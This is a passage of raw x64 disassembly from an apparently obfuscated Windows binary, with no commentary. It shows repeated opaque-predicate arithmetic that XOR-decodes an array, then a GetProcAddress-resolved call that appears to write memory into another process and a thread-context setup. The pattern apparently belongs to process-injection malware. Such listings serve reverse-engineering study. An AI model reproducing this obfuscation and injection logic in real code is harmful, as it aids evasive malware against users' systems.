jmp 0x140029b9c
cvtsi2sd xmm0, dword [rsp + 0x13c]
movsd xmm1, qword [rsp + 0x318]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5dc], eax
jmp 0x140029c65
xor eax, eax
cmp eax, 1
je 0x140029ba9
jmp 0x140029bb8
jmp 0x140029974
jmp 0x140029974
xor eax, eax
cmp eax, 1
je 0x140029c5a
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xea8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xea8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xeb0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xeac], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xeac]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xeb0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x318]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5dc], eax
jmp 0x140029c65
mov dword [rsp + 0x5dc], 1
movsxd rax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x220]
mov edx, dword [rsp + 0x5dc]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x220]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xeb4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xeb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xebc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0xeb8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xeb8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xebc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002ab0d
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xec0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xec0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xec4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xec4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xec8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xec8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002a0c3
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108358]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x320], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xecc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xecc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xed4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xed0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xed0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xed4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140029fed
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xed8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xed8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xedc], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xedc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xee0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xee0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140029fed
mov dword [rsp + 0x140], 0
jmp 0x140029eaf
cmp dword [rsp + 0x140], 4
jae 0x140029fe8
cvtsi2sd xmm0, dword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x320]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1900], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1900]
ucomisd xmm1, xmm0
jp 0x140029f2a
jne 0x140029f2a
mov eax, dword [rsp + 0x140]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x320]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x320], xmm0
jmp 0x140029da9
cvtsi2sd xmm0, dword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x320]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1908], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1908]
ucomisd xmm1, xmm0
jp 0x140029f92
jne 0x140029f92
mov eax, dword [rsp + 0x140]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x320]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x320], xmm0
jmp 0x140029fa8
xor eax, eax
test eax, eax
je 0x140029fa4
jmp 0x14002a08f
jmp 0x140029fd1
cvtsi2sd xmm0, dword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x320]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5e0], eax
jmp 0x14002a09a
xor eax, eax
cmp eax, 1
je 0x140029fde
jmp 0x140029fed
jmp 0x140029da9
jmp 0x140029da9
xor eax, eax
cmp eax, 1
je 0x14002a08f
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xee4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xee4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xeec], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xee8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xee8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xeec]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x320]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5e0], eax
jmp 0x14002a09a
mov dword [rsp + 0x5e0], 1
movsxd rax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x220]
mov edx, dword [rsp + 0x5e0]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x220]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xef0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xef0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xef4], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xef4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xef8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xef8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002a47d
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108350]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x328], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xefc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xefc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf04], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xf00], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xf00]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xf04]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002a3a7
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xf08], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xf08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf0c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xf0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf10], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xf10]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002a3a7
mov dword [rsp + 0x144], 0
jmp 0x14002a269
cmp dword [rsp + 0x144], 4
jae 0x14002a3a2
cvtsi2sd xmm0, dword [rsp + 0x144]
movsd xmm1, qword [rsp + 0x328]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1910], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1910]
ucomisd xmm1, xmm0
jp 0x14002a2e4
jne 0x14002a2e4
mov eax, dword [rsp + 0x144]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x328]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x328], xmm0
jmp 0x14002a163
cvtsi2sd xmm0, dword [rsp + 0x144]
movsd xmm1, qword [rsp + 0x328]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1918], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1918]
ucomisd xmm1, xmm0
jp 0x14002a34c
jne 0x14002a34c
mov eax, dword [rsp + 0x144]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x328]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x328], xmm0
jmp 0x14002a362
xor eax, eax
test eax, eax
je 0x14002a35e
jmp 0x14002a449
jmp 0x14002a38b
cvtsi2sd xmm0, dword [rsp + 0x144]
movsd xmm1, qword [rsp + 0x328]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5e4], eax
jmp 0x14002a454
xor eax, eax
cmp eax, 1
je 0x14002a398
jmp 0x14002a3a7
jmp 0x14002a163
jmp 0x14002a163
xor eax, eax
cmp eax, 1
je 0x14002a449
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xf14], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xf14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf1c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xf18], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xf18]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xf1c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x328]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5e4], eax
jmp 0x14002a454
mov dword [rsp + 0x5e4], 1
movsxd rax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x220]
mov edx, dword [rsp + 0x5e4]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x220]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x70]
sub eax, 0x6e
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x330], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xf20], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xf20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf28], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xf24], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xf24]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xf28]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002a6f6
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xf2c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xf2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf30], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xf30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf34], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xf34]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002a6f6
mov dword [rsp + 0x148], 0
jmp 0x14002a5b8
cmp dword [rsp + 0x148], 4
jae 0x14002a6f1
cvtsi2sd xmm0, dword [rsp + 0x148]
movsd xmm1, qword [rsp + 0x330]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1920], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1920]
ucomisd xmm1, xmm0
jp 0x14002a633
jne 0x14002a633
mov eax, dword [rsp + 0x148]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x330]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x330], xmm0
jmp 0x14002a4b2
cvtsi2sd xmm0, dword [rsp + 0x148]
movsd xmm1, qword [rsp + 0x330]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1928], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1928]
ucomisd xmm1, xmm0
jp 0x14002a69b
jne 0x14002a69b
mov eax, dword [rsp + 0x148]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x330]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x330], xmm0
jmp 0x14002a6b1
xor eax, eax
test eax, eax
je 0x14002a6ad
jmp 0x14002a798
jmp 0x14002a6da
cvtsi2sd xmm0, dword [rsp + 0x148]
movsd xmm1, qword [rsp + 0x330]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5e8], eax
jmp 0x14002a7a3
xor eax, eax
cmp eax, 1
je 0x14002a6e7
jmp 0x14002a6f6
jmp 0x14002a4b2
jmp 0x14002a4b2
xor eax, eax
cmp eax, 1
je 0x14002a798
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xf38], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xf38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf40], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xf3c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xf3c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xf40]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x330]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5e8], eax
jmp 0x14002a7a3
mov dword [rsp + 0x5e8], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x70]
sub eax, 0x6e
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x338], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xf44], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xf44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf4c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xf48], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xf48]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xf4c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002aa1c
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xf50], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xf50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf54], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xf54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf58], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xf58]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002aa1c
mov dword [rsp + 0x14c], 0
jmp 0x14002a8de
cmp dword [rsp + 0x14c], 4
jae 0x14002aa17
cvtsi2sd xmm0, dword [rsp + 0x14c]
movsd xmm1, qword [rsp + 0x338]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1930], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1930]
ucomisd xmm1, xmm0
jp 0x14002a959
jne 0x14002a959
mov eax, dword [rsp + 0x14c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x338]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x338], xmm0
jmp 0x14002a7d8
cvtsi2sd xmm0, dword [rsp + 0x14c]
movsd xmm1, qword [rsp + 0x338]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1938], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1938]
ucomisd xmm1, xmm0
jp 0x14002a9c1
jne 0x14002a9c1
mov eax, dword [rsp + 0x14c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x338]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x338], xmm0
jmp 0x14002a9d7
xor eax, eax
test eax, eax
je 0x14002a9d3
jmp 0x14002aabe
jmp 0x14002aa00
cvtsi2sd xmm0, dword [rsp + 0x14c]
movsd xmm1, qword [rsp + 0x338]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5ec], eax
jmp 0x14002aac9
xor eax, eax
cmp eax, 1
je 0x14002aa0d
jmp 0x14002aa1c
jmp 0x14002a7d8
jmp 0x14002a7d8
xor eax, eax
cmp eax, 1
je 0x14002aabe
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xf5c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xf5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf64], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xf60], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xf60]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xf64]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x338]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5ec], eax
jmp 0x14002aac9
mov dword [rsp + 0x5ec], 1
movsxd rax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x220]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x5e8]
movsxd rcx, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x220]
mov edi, dword [rsp + 0x5ec]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x220]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xf68], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xf68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf6c], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xf6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf70], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xf70]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002aec7
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108348]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x340], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xf74], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xf74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf7c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xf78], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xf78]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xf7c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002adf1
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xf80], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xf80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf84], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xf84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf88], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xf88]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002adf1
mov dword [rsp + 0x150], 0
jmp 0x14002acb3
cmp dword [rsp + 0x150], 4
jae 0x14002adec
cvtsi2sd xmm0, dword [rsp + 0x150]
movsd xmm1, qword [rsp + 0x340]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1940], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1940]
ucomisd xmm1, xmm0
jp 0x14002ad2e
jne 0x14002ad2e
mov eax, dword [rsp + 0x150]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x340]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x340], xmm0
jmp 0x14002abad
cvtsi2sd xmm0, dword [rsp + 0x150]
movsd xmm1, qword [rsp + 0x340]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1948], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1948]
ucomisd xmm1, xmm0
jp 0x14002ad96
jne 0x14002ad96
mov eax, dword [rsp + 0x150]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x340]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x340], xmm0
jmp 0x14002adac
xor eax, eax
test eax, eax
je 0x14002ada8
jmp 0x14002ae93
jmp 0x14002add5
cvtsi2sd xmm0, dword [rsp + 0x150]
movsd xmm1, qword [rsp + 0x340]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5f0], eax
jmp 0x14002ae9e
xor eax, eax
cmp eax, 1
je 0x14002ade2
jmp 0x14002adf1
jmp 0x14002abad
jmp 0x14002abad
xor eax, eax
cmp eax, 1
je 0x14002ae93
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xf8c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xf8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf94], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xf90], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xf90]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xf94]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x340]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5f0], eax
jmp 0x14002ae9e
mov dword [rsp + 0x5f0], 1
movsxd rax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x220]
mov edx, dword [rsp + 0x5f0]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x220]
mov dword [rdx + rcx*4], eax
jmp 0x1400298bc
mov rax, qword [rsp + 0x748]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x748]
mov eax, dword [rcx + rax]
mov dword [rsp + 0xf98], eax
lea rax, [rsp + 0x1b90]
mov ecx, dword [rsp + 0xf98]
mov qword [rsp + 0x1950], rcx
lea rdx, [0x140132ee0]
mov rcx, rax
mov rax, qword [rsp + 0x1950]
call qword [rdx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1590], rax
cmp qword [rsp + 0x1590], 0
jne 0x14002af4a
xor al, al
jmp 0x14002fed5
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rsp + 0x27c]
mov rdx, qword [rsp + 0x1598]
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x1590]
mov eax, dword [rsp + 0xf9c]
mov ecx, dword [rsp + 0x27c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x27c], eax
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rsp + 0x27c]
mov rdx, qword [rsp + 0x1598]
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x618]
mov dword [rsp + 0x6e4], 0x56b5
mov dword [rsp + 0xfa0], 0x441a
mov dword [rsp + 0xfa4], 0x4acc
mov eax, dword [rsp + 0xfa0]
mov dword [rsp + 0x6e4], eax
cmp dword [rsp + 0x6e4], 0
je 0x14002b003
mov dword [rsp + 0xfa4], 0x3545
mov dword [rsp + 0x280], 0
jmp 0x14002b020
mov eax, dword [rsp + 0x280]
inc eax
mov dword [rsp + 0x280], eax
cmp dword [rsp + 0x280], 0x12
jge 0x14002b03e
movsxd rax, dword [rsp + 0x280]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1b90], cx
jmp 0x14002b010
jmp 0x1400295f9
jmp 0x14002957b
mov dword [rsp + 0x1fe0], 0x10000b
lea rax, [rsp + 0x4b7]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1be0]
lea rcx, [0x140107f60]
mov rdi, rax
mov rsi, rcx
